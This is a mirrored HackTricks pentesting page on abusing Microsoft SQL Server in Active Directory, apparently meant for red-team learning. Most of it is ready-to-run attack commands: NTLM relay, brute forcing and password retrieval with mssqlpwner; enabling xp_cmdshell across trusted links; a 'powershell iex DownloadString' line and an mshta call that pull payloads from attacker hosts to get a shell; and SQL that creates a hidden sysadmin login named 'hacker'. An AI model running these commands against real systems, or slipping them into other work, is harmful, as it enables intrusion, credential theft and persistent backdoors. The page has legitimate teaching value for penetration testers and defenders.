mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-19 01:24:50 +00:00
303 lines
14 KiB
Markdown
303 lines
14 KiB
Markdown
|
# MSSQL AD Abuse
|
|||
|
|
|
|||
|
|
{% hint style="success" %}
|
|||
|
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|||
|
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|||
|
|
|
|||
|
|
<details>
|
|||
|
|
|
|||
|
|
<summary>Support HackTricks</summary>
|
|||
|
|
|
|||
|
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
|||
|
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|||
|
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|||
|
|
|
|||
|
|
</details>
|
|||
|
|
{% endhint %}
|
|||
|
|
|
|||
|
|
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
|||
|
|
|
|||
|
|
{% embed url="https://websec.nl/" %}
|
|||
|
|
|
|||
|
|
## **MSSQL Enumeration / Discovery**
|
|||
|
|
|
|||
|
|
### Python
|
|||
|
|
The [MSSQLPwner](https://github.com/ScorpionesLabs/MSSqlPwner) tool is based on impacket, and allows also authenticate using kerberos tickets, and attack through link chains
|
|||
|
|
|
|||
|
|
<figure><img src="https://raw.githubusercontent.com/ScorpionesLabs/MSSqlPwner/main/assets/interractive.png"></figure>
|
|||
|
|
|
|||
|
|
```shell
|
|||
|
|
# Interactive mode
|
|||
|
|
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth interactive
|
|||
|
|
|
|||
|
|
# Interactive mode with 2 depth level of impersonations
|
|||
|
|
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -max-impersonation-depth 2 interactive
|
|||
|
|
|
|||
|
|
|
|||
|
|
# Executing custom assembly on the current server with windows authentication and executing hostname command
|
|||
|
|
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth custom-asm hostname
|
|||
|
|
|
|||
|
|
# Executing custom assembly on the current server with windows authentication and executing hostname command on the SRV01 linked server
|
|||
|
|
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 custom-asm hostname
|
|||
|
|
|
|||
|
|
# Executing the hostname command using stored procedures on the linked SRV01 server
|
|||
|
|
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec hostname
|
|||
|
|
|
|||
|
|
# Executing the hostname command using stored procedures on the linked SRV01 server with sp_oacreate method
|
|||
|
|
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec "cmd /c mshta http://192.168.45.250/malicious.hta" -command-execution-method sp_oacreate
|
|||
|
|
|
|||
|
|
# Issuing NTLM relay attack on the SRV01 server
|
|||
|
|
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 ntlm-relay 192.168.45.250
|
|||
|
|
|
|||
|
|
# Issuing NTLM relay attack on chain ID 2e9a3696-d8c2-4edd-9bcc-2908414eeb25
|
|||
|
|
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -chain-id 2e9a3696-d8c2-4edd-9bcc-2908414eeb25 ntlm-relay 192.168.45.250
|
|||
|
|
|
|||
|
|
# Issuing NTLM relay attack on the local server with custom command
|
|||
|
|
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.250
|
|||
|
|
|
|||
|
|
# Executing direct query
|
|||
|
|
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth direct-query "SELECT CURRENT_USER"
|
|||
|
|
|
|||
|
|
# Retrieving password from the linked server DC01
|
|||
|
|
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-server DC01 retrive-password
|
|||
|
|
|
|||
|
|
# Execute code using custom assembly on the linked server DC01
|
|||
|
|
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-server DC01 inject-custom-asm SqlInject.dll
|
|||
|
|
|
|||
|
|
# Bruteforce using tickets, hashes, and passwords against the hosts listed on the hosts.txt
|
|||
|
|
mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt -hl hashes.txt -pl passwords.txt
|
|||
|
|
|
|||
|
|
# Bruteforce using hashes, and passwords against the hosts listed on the hosts.txt
|
|||
|
|
mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt -pl passwords.txt
|
|||
|
|
|
|||
|
|
# Bruteforce using tickets against the hosts listed on the hosts.txt
|
|||
|
|
mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt
|
|||
|
|
|
|||
|
|
# Bruteforce using passwords against the hosts listed on the hosts.txt
|
|||
|
|
mssqlpwner hosts.txt brute -ul users.txt -pl passwords.txt
|
|||
|
|
|
|||
|
|
# Bruteforce using hashes against the hosts listed on the hosts.txt
|
|||
|
|
mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
### Enumerating from the network without domain session
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
# Interactive mode
|
|||
|
|
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth interactive
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
---
|
|||
|
|
### Powershell
|
|||
|
|
|
|||
|
|
The powershell module [PowerUpSQL](https://github.com/NetSPI/PowerUpSQL) is very useful in this case.
|
|||
|
|
|
|||
|
|
```powershell
|
|||
|
|
Import-Module .\PowerupSQL.psd1
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
### Enumerating from the network without domain session
|
|||
|
|
|
|||
|
|
```powershell
|
|||
|
|
# Get local MSSQL instance (if any)
|
|||
|
|
Get-SQLInstanceLocal
|
|||
|
|
Get-SQLInstanceLocal | Get-SQLServerInfo
|
|||
|
|
|
|||
|
|
#If you don't have a AD account, you can try to find MSSQL scanning via UDP
|
|||
|
|
#First, you will need a list of hosts to scan
|
|||
|
|
Get-Content c:\temp\computers.txt | Get-SQLInstanceScanUDP –Verbose –Threads 10
|
|||
|
|
|
|||
|
|
#If you have some valid credentials and you have discovered valid MSSQL hosts you can try to login into them
|
|||
|
|
#The discovered MSSQL servers must be on the file: C:\temp\instances.txt
|
|||
|
|
Get-SQLInstanceFile -FilePath C:\temp\instances.txt | Get-SQLConnectionTest -Verbose -Username test -Password test
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
### Enumerating from inside the domain
|
|||
|
|
|
|||
|
|
```powershell
|
|||
|
|
# Get local MSSQL instance (if any)
|
|||
|
|
Get-SQLInstanceLocal
|
|||
|
|
Get-SQLInstanceLocal | Get-SQLServerInfo
|
|||
|
|
|
|||
|
|
#Get info about valid MSQL instances running in domain
|
|||
|
|
#This looks for SPNs that starts with MSSQL (not always is a MSSQL running instance)
|
|||
|
|
Get-SQLInstanceDomain | Get-SQLServerinfo -Verbose
|
|||
|
|
|
|||
|
|
#Test connections with each one
|
|||
|
|
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -verbose
|
|||
|
|
|
|||
|
|
#Try to connect and obtain info from each MSSQL server (also useful to check conectivity)
|
|||
|
|
Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose
|
|||
|
|
|
|||
|
|
# Get DBs, test connections and get info in oneliner
|
|||
|
|
Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" } | Get-SQLServerInfo
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
## MSSQL Basic Abuse
|
|||
|
|
|
|||
|
|
### Access DB
|
|||
|
|
|
|||
|
|
```powershell
|
|||
|
|
#Perform a SQL query
|
|||
|
|
Get-SQLQuery -Instance "sql.domain.io,1433" -Query "select @@servername"
|
|||
|
|
|
|||
|
|
#Dump an instance (a lotof CVSs generated in current dir)
|
|||
|
|
Invoke-SQLDumpInfo -Verbose -Instance "dcorp-mssql"
|
|||
|
|
|
|||
|
|
# Search keywords in columns trying to access the MSSQL DBs
|
|||
|
|
## This won't use trusted SQL links
|
|||
|
|
Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" } | Get-SQLColumnSampleDataThreaded -Keywords "password" -SampleSize 5 | select instance, database, column, sample | ft -autosize
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
### MSSQL RCE
|
|||
|
|
|
|||
|
|
It might be also possible to **execute commands** inside the MSSQL host
|
|||
|
|
|
|||
|
|
```powershell
|
|||
|
|
Invoke-SQLOSCmd -Instance "srv.sub.domain.local,1433" -Command "whoami" -RawResults
|
|||
|
|
# Invoke-SQLOSCmd automatically checks if xp_cmdshell is enable and enables it if necessary
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
Check in the page mentioned in the **following section how to do this manually.**
|
|||
|
|
|
|||
|
|
### MSSQL Basic Hacking Tricks
|
|||
|
|
|
|||
|
|
{% content-ref url="../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/" %}
|
|||
|
|
[pentesting-mssql-microsoft-sql-server](../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/)
|
|||
|
|
{% endcontent-ref %}
|
|||
|
|
|
|||
|
|
## MSSQL Trusted Links
|
|||
|
|
|
|||
|
|
If a MSSQL instance is trusted (database link) by a different MSSQL instance. If the user has privileges over the trusted database, he is going to be able to **use the trust relationship to execute queries also in the other instance**. This trusts can be chained and at some point the user might be able to find some misconfigured database where he can execute commands.
|
|||
|
|
|
|||
|
|
**The links between databases work even across forest trusts.**
|
|||
|
|
|
|||
|
|
### Powershell Abuse
|
|||
|
|
|
|||
|
|
```powershell
|
|||
|
|
#Look for MSSQL links of an accessible instance
|
|||
|
|
Get-SQLServerLink -Instance dcorp-mssql -Verbose #Check for DatabaseLinkd > 0
|
|||
|
|
|
|||
|
|
#Crawl trusted links, starting from the given one (the user being used by the MSSQL instance is also specified)
|
|||
|
|
Get-SQLServerLinkCrawl -Instance mssql-srv.domain.local -Verbose
|
|||
|
|
|
|||
|
|
#If you are sysadmin in some trusted link you can enable xp_cmdshell with:
|
|||
|
|
Get-SQLServerLinkCrawl -instance "<INSTANCE1>" -verbose -Query 'EXECUTE(''sp_configure ''''xp_cmdshell'''',1;reconfigure;'') AT "<INSTANCE2>"'
|
|||
|
|
|
|||
|
|
#Execute a query in all linked instances (try to execute commands), output should be in CustomQuery field
|
|||
|
|
Get-SQLServerLinkCrawl -Instance mssql-srv.domain.local -Query "exec master..xp_cmdshell 'whoami'"
|
|||
|
|
|
|||
|
|
#Obtain a shell
|
|||
|
|
Get-SQLServerLinkCrawl -Instance dcorp-mssql -Query 'exec master..xp_cmdshell "powershell iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.114:8080/pc.ps1'')"'
|
|||
|
|
|
|||
|
|
#Check for possible vulnerabilities on an instance where you have access
|
|||
|
|
Invoke-SQLAudit -Verbose -Instance "dcorp-mssql.dollarcorp.moneycorp.local"
|
|||
|
|
|
|||
|
|
#Try to escalate privileges on an instance
|
|||
|
|
Invoke-SQLEscalatePriv –Verbose –Instance "SQLServer1\Instance1"
|
|||
|
|
|
|||
|
|
#Manual trusted link queery
|
|||
|
|
Get-SQLQuery -Instance "sql.domain.io,1433" -Query "select * from openquery(""sql2.domain.io"", 'select * from information_schema.tables')"
|
|||
|
|
## Enable xp_cmdshell and check it
|
|||
|
|
Get-SQLQuery -Instance "sql.domain.io,1433" -Query 'SELECT * FROM OPENQUERY("sql2.domain.io", ''SELECT * FROM sys.configurations WHERE name = ''''xp_cmdshell'''''');'
|
|||
|
|
Get-SQLQuery -Instance "sql.domain.io,1433" -Query 'EXEC(''sp_configure ''''show advanced options'''', 1; reconfigure;'') AT [sql.rto.external]'
|
|||
|
|
Get-SQLQuery -Instance "sql.domain.io,1433" -Query 'EXEC(''sp_configure ''''xp_cmdshell'''', 1; reconfigure;'') AT [sql.rto.external]'
|
|||
|
|
## If you see the results of @@selectname, it worked
|
|||
|
|
Get-SQLQuery -Instance "sql.rto.local,1433" -Query 'SELECT * FROM OPENQUERY("sql.rto.external", ''select @@servername; exec xp_cmdshell ''''powershell whoami'''''');'
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
### Metasploit
|
|||
|
|
|
|||
|
|
You can easily check for trusted links using metasploit.
|
|||
|
|
|
|||
|
|
```bash
|
|||
|
|
#Set username, password, windows auth (if using AD), IP...
|
|||
|
|
msf> use exploit/windows/mssql/mssql_linkcrawler
|
|||
|
|
[msf> set DEPLOY true] #Set DEPLOY to true if you want to abuse the privileges to obtain a meterpreter session
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
Notice that metasploit will try to abuse only the `openquery()` function in MSSQL (so, if you can't execute command with `openquery()` you will need to try the `EXECUTE` method **manually** to execute commands, see more below.)
|
|||
|
|
|
|||
|
|
### Manual - Openquery()
|
|||
|
|
|
|||
|
|
From **Linux** you could obtain a MSSQL console shell with **sqsh** and **mssqlclient.py.**
|
|||
|
|
|
|||
|
|
From **Windows** you could also find the links and execute commands manually using a **MSSQL client like** [**HeidiSQL**](https://www.heidisql.com)
|
|||
|
|
|
|||
|
|
_Login using Windows authentication:_
|
|||
|
|
|
|||
|
|
.png>)
|
|||
|
|
|
|||
|
|
#### Find Trustable Links
|
|||
|
|
|
|||
|
|
```sql
|
|||
|
|
select * from master..sysservers;
|
|||
|
|
EXEC sp_linkedservers;
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
.png>)
|
|||
|
|
|
|||
|
|
#### Execute queries in trustable link
|
|||
|
|
|
|||
|
|
Execute queries through the link (example: find more links in the new accessible instance):
|
|||
|
|
|
|||
|
|
```sql
|
|||
|
|
select * from openquery("dcorp-sql1", 'select * from master..sysservers')
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
{% hint style="warning" %}
|
|||
|
|
Check where double and single quotes are used, it's important to use them that way.
|
|||
|
|
{% endhint %}
|
|||
|
|
|
|||
|
|
.png>)
|
|||
|
|
|
|||
|
|
You can continue these trusted links chain forever manually.
|
|||
|
|
|
|||
|
|
```sql
|
|||
|
|
# First level RCE
|
|||
|
|
SELECT * FROM OPENQUERY("<computer>", 'select @@servername; exec xp_cmdshell ''powershell -w hidden -enc blah''')
|
|||
|
|
|
|||
|
|
# Second level RCE
|
|||
|
|
SELECT * FROM OPENQUERY("<computer1>", 'select * from openquery("<computer2>", ''select @@servername; exec xp_cmdshell ''''powershell -enc blah'''''')')
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
If you cannot perform actions like `exec xp_cmdshell` from `openquery()` try with the `EXECUTE` method.
|
|||
|
|
|
|||
|
|
### Manual - EXECUTE
|
|||
|
|
|
|||
|
|
You can also abuse trusted links using `EXECUTE`:
|
|||
|
|
|
|||
|
|
```bash
|
|||
|
|
#Create user and give admin privileges
|
|||
|
|
EXECUTE('EXECUTE(''CREATE LOGIN hacker WITH PASSWORD = ''''P@ssword123.'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"
|
|||
|
|
EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
## Local Privilege Escalation
|
|||
|
|
|
|||
|
|
The **MSSQL local user** usually has a special type of privilege called **`SeImpersonatePrivilege`**. This allows the account to "impersonate a client after authentication".
|
|||
|
|
|
|||
|
|
A strategy that many authors have come up with is to force a SYSTEM service to authenticate to a rogue or man-in-the-middle service that the attacker creates. This rogue service is then able to impersonate the SYSTEM service whilst it's trying to authenticate.
|
|||
|
|
|
|||
|
|
[SweetPotato](https://github.com/CCob/SweetPotato) has a collection of these various techniques which can be executed via Beacon's `execute-assembly` command.
|
|||
|
|
|
|||
|
|
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
|||
|
|
|
|||
|
|
{% embed url="https://websec.nl/" %}
|
|||
|
|
|
|||
|
|
{% hint style="success" %}
|
|||
|
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|||
|
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|||
|
|
|
|||
|
|
<details>
|
|||
|
|
|
|||
|
|
<summary>Support HackTricks</summary>
|
|||
|
|
|
|||
|
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
|||
|
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|||
|
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|||
|
|
|
|||
|
|
</details>
|
|||
|
|
{% endhint %}
|